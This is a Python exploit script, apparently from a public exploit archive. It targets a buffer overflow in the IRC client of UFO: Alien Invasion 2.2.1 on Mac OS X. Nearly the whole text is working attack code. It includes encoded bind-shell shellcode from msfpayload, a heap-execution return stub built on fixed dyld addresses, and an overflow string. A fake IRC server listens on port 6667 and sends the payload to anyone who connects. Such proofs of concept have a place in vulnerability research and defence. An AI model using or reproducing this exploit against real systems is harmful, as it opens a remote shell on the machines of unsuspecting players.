UFO: Alien Invasion 2.2.1 (OSX) – Remote Code Execution
#!/usr/bin/python # # UFO: Alien Invasion v2.2.1 IRC Client Remote Code Execution - MacOSX # Author: dookie # Windows PoC: Jason Geffner http://www.exploit-db.com/exploits/14013 # import sys, socket, struct # msfpayload osx/x86/vforkshell_bind_tcp R | msfencode -b '\x00\x0a\x0d' -t c shellcode = "\x90" * 16 shellcode += ("\xdb\xc3\xd9\x74\x24\xf4\xbb\xf3\xbd\x8d\x7c\x33\xc9\x5d\xb1" "\x27\x31\x5d\x18\x03\x5d\x18\x83\xc5\xf7\x5f\x78\x4d\x37\x06" "\xd3\xee\xe7\x79\x84\xbc\xb7\x1b\xe9\xc1\xb8\x59\x8f\xc1\xc6" "\x5d\xf9\x04\x94\x0f\xab\xe0\x18\xb2\x5a\xad\x91\x51\x36\x5d" "\xf2\xc3\x95\xed\x9c\x26\x99\x7c\x3b\xeb\xcc\xd2\x73\x61\x3c" "\x52\x01\x28\xec\x01\xb3\x86\xa0\xb8\xf6\xa7\xb3\x90\x81\x6f" "\x02\xc2\x12\x84\x64\xb7\x47\x0c\x34\x87\x3d\x7f\x3a\x95\x82" "\xfc\xc0\x59\x71\xf2\x06\x9e\x29\xa4\x38\x4e\x79\x7f\x74\xee" "\xe9\x10\xba\xc2\x7c\x18\x73\x5e\xb3\x9a\xf0\xa5\x4b\xef\xe1" "\x68\x8b\x5f\x66\xa4\x24\x13\x1e\xd2\x15\xb1\xb7\x4c\xe0\xd6" "\x18\xc1\xa1\x48\x29\xda\x88\xe9\x78\xdd\x42\x63\x99\x8d\x32" "\x20\x0e\x7e\x02\xc1\x63\xfe\x53\x0e\x2b\xaf\xd3\x43\x4c\x45") #### Exec Payload From Heap Stub (By Dino Dai Zovi) #### frag0 = "\x90\x58\x61\xc3" frag1 = "\x90\x58\x89\xe0\x83\xc0\x0c\x89\x44\x24\x08\xc3" writeable = 0x8fe66448 # writeable memory location in /usr/lib/dyld setjmp = 0x8fe1cf38 # t _setjmp in /usr/lib/dyld strdup = 0x8fe210dc # t _strdup in /usr/lib/dyld jmpeax = 0x8fe01041 # jmp eax in /usr/lib/dyld stub = frag0 + struct.pack('<III',setjmp,writeable+32,writeable) + \ frag1 + 'A' * 20 + struct.pack('<IIIII',setjmp,writeable+24,writeable,strdup,jmpeax) + \ 'A' * 4 sploit = "001 :" sploit += "\x41" * 524 sploit += stub sploit += shellcode sploit += "\x0d\x0a" #sploit = lead s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('', 6667)) s.listen(1) print ("[*] Listening on port 6667.") print ("[*] Have someone connect to you.") print ("[*] Type <control>-c to exit.") conn, addr = s.accept() print '[*] Received connection from: ', addr conn.send(sploit) conn.close |